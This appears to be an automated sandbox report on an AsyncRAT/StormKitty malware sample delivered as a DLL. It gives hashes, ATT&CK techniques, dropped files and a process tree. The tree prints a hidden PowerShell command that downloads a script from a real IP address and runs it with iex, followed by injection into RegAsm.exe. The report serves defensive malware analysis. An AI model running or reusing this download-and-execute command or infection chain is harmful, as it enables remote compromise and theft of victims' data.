asyncrat | 9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

General

Target

iviewers.dll
Size

88KB
MD5

33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1

109e32187254b27e04ef18bbe1b48fad42bca841
SHA256

9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
SHA512

2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599
SSDEEP

1536:L02ifPleVQ8zxlaSRslYzy26igsbuNdn4fuH1e6tsWy4cdlETcgS/iG:5iV4Qaxltsl/ggsCN3oBlQcgkiG

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/448-37-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	3108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3108	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3108 set thread context of 448	3108	powershell.exe	88

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3108	powershell.exe
3108	powershell.exe
448	RegAsm.exe
448	RegAsm.exe
448	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	448	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
448	RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 1072	3680	regsvr32.exe	82
PID 3680 wrote to memory of 1072	3680	regsvr32.exe	82
PID 3680 wrote to memory of 1072	3680	regsvr32.exe	82
PID 1072 wrote to memory of 2816	1072	regsvr32.exe	83
PID 1072 wrote to memory of 2816	1072	regsvr32.exe	83
PID 1072 wrote to memory of 2816	1072	regsvr32.exe	83
PID 2816 wrote to memory of 3108	2816	cmd.exe	85
PID 2816 wrote to memory of 3108	2816	cmd.exe	85
PID 2816 wrote to memory of 3108	2816	cmd.exe	85
PID 3108 wrote to memory of 1848	3108	powershell.exe	86
PID 3108 wrote to memory of 1848	3108	powershell.exe	86
PID 3108 wrote to memory of 1848	3108	powershell.exe	86
PID 1848 wrote to memory of 404	1848	csc.exe	87
PID 1848 wrote to memory of 404	1848	csc.exe	87
PID 1848 wrote to memory of 404	1848	csc.exe	87
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88
PID 3108 wrote to memory of 448	3108	powershell.exe	88

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\orpzoam5\orpzoam5.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1848
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8993.tmp" "c:\Users\Admin\AppData\Local\Temp\orpzoam5\CSC89407409A2F4C709F3F22FFD86B44EF.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:404
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES8993.tmp

Filesize
1KB

MD5
52ec06e112613aa23525eb9e7ec8c778

SHA1
2ab72865295c35140d4a631bb0a139c277cc179c

SHA256
471cee1ccddc5b1f778cb14b3055cfcf73b0d672541ebff893c486f93156782d

SHA512
2153aed665889fd007f1a31884ef0f55c2b5e105a5c7d9c20897b148bdca4f872142af9a9512f0ead0723395ff11d91ea932bb63ace0637e3c64cc79f45ea74a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t5z1m30g.kzz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\orpzoam5\orpzoam5.dll

Filesize
9KB

MD5
45c5fa9add623e32953cfb6b0fa8b086

SHA1
047e78f1a35b6a0bdc217f4e397f0a0018d7677c

SHA256
838603506b32559fcabf9b6a4f68a99c0d4388a51651d1c4a16d91ff6312ec66

SHA512
34445e888dc87daf73a66ac91a93b5a7418e3f85306b74d86fee4b04dae4b93076970e37d6eb1498dabb12b7eec562249dbbe1fe0f99ddc527a60fcd4dd3c3f2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\orpzoam5\CSC89407409A2F4C709F3F22FFD86B44EF.TMP

Filesize
652B

MD5
4b3c1737fd83afc5608df42f12509bfb

SHA1
5ed6ad23a59542c509bbf34b81b4d659cba6f0ae

SHA256
35ef8ac5bb571b6b77d9e5db3b685c6a0cec36d6d530fbc9fa6e8f78854e3baa

SHA512
5e937de8ed9a7b7689fb75f037fc5f9c591e1c1b6e78d6761c81fa028533b2d899d899d78d069d50ebd3a82fc57086caecf24d83421c8cf75034e53bc0c44f6b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\orpzoam5\orpzoam5.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\orpzoam5\orpzoam5.cmdline

Filesize
204B

MD5
b20661ec2146e13e9ccd5225a9245c27

SHA1
e5ba7b0cbe5be3388fbd26f11346484353087535

SHA256
9275190323e29a2131d45681765e98d427cc92da29546a8c8a4f6738817d1cbe

SHA512
9a1c26d3cbd9f4fe7f6ce66c843c04b30023e83236540f39f6f45ad605cd5b3489aaa565ba22c240a3872388f0ea5a90abdaf53f410275aa305071407a6d6fe5

Download Submit
memory/448-42-0x0000000005820000-0x00000000058B2000-memory.dmp

Filesize
584KB

Download
memory/448-41-0x00000000059A0000-0x0000000005F44000-memory.dmp

Filesize
5.6MB

Download
memory/448-43-0x0000000005560000-0x000000000556A000-memory.dmp

Filesize
40KB

Download
memory/448-37-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/448-46-0x0000000006790000-0x000000000682C000-memory.dmp

Filesize
624KB

Download
memory/448-47-0x0000000006C70000-0x0000000006FC4000-memory.dmp

Filesize
3.3MB

Download
memory/448-48-0x00000000077F0000-0x0000000007866000-memory.dmp

Filesize
472KB

Download
memory/448-49-0x00000000078A0000-0x00000000078BE000-memory.dmp

Filesize
120KB

Download
memory/3108-7-0x0000000005E80000-0x0000000005EE6000-memory.dmp

Filesize
408KB

Download
memory/3108-17-0x0000000005F30000-0x0000000006284000-memory.dmp

Filesize
3.3MB

Download
memory/3108-20-0x0000000007BB0000-0x000000000822A000-memory.dmp

Filesize
6.5MB

Download
memory/3108-21-0x0000000006A20000-0x0000000006A3A000-memory.dmp

Filesize
104KB

Download
memory/3108-35-0x0000000007B60000-0x0000000007B68000-memory.dmp

Filesize
32KB

Download
memory/3108-19-0x0000000006590000-0x00000000065DC000-memory.dmp

Filesize
304KB

Download
memory/3108-18-0x0000000006560000-0x000000000657E000-memory.dmp

Filesize
120KB

Download
memory/3108-22-0x0000000007B50000-0x0000000007B5E000-memory.dmp

Filesize
56KB

Download
memory/3108-40-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/3108-0-0x0000000074B7E000-0x0000000074B7F000-memory.dmp

Filesize
4KB

Download
memory/3108-6-0x0000000005D60000-0x0000000005DC6000-memory.dmp

Filesize
408KB

Download
memory/3108-5-0x0000000005690000-0x00000000056B2000-memory.dmp

Filesize
136KB

Download
memory/3108-4-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/3108-2-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/3108-3-0x0000000005730000-0x0000000005D58000-memory.dmp

Filesize
6.2MB

Download
memory/3108-1-0x0000000004F80000-0x0000000004FB6000-memory.dmp

Filesize
216KB

Download

Analysis

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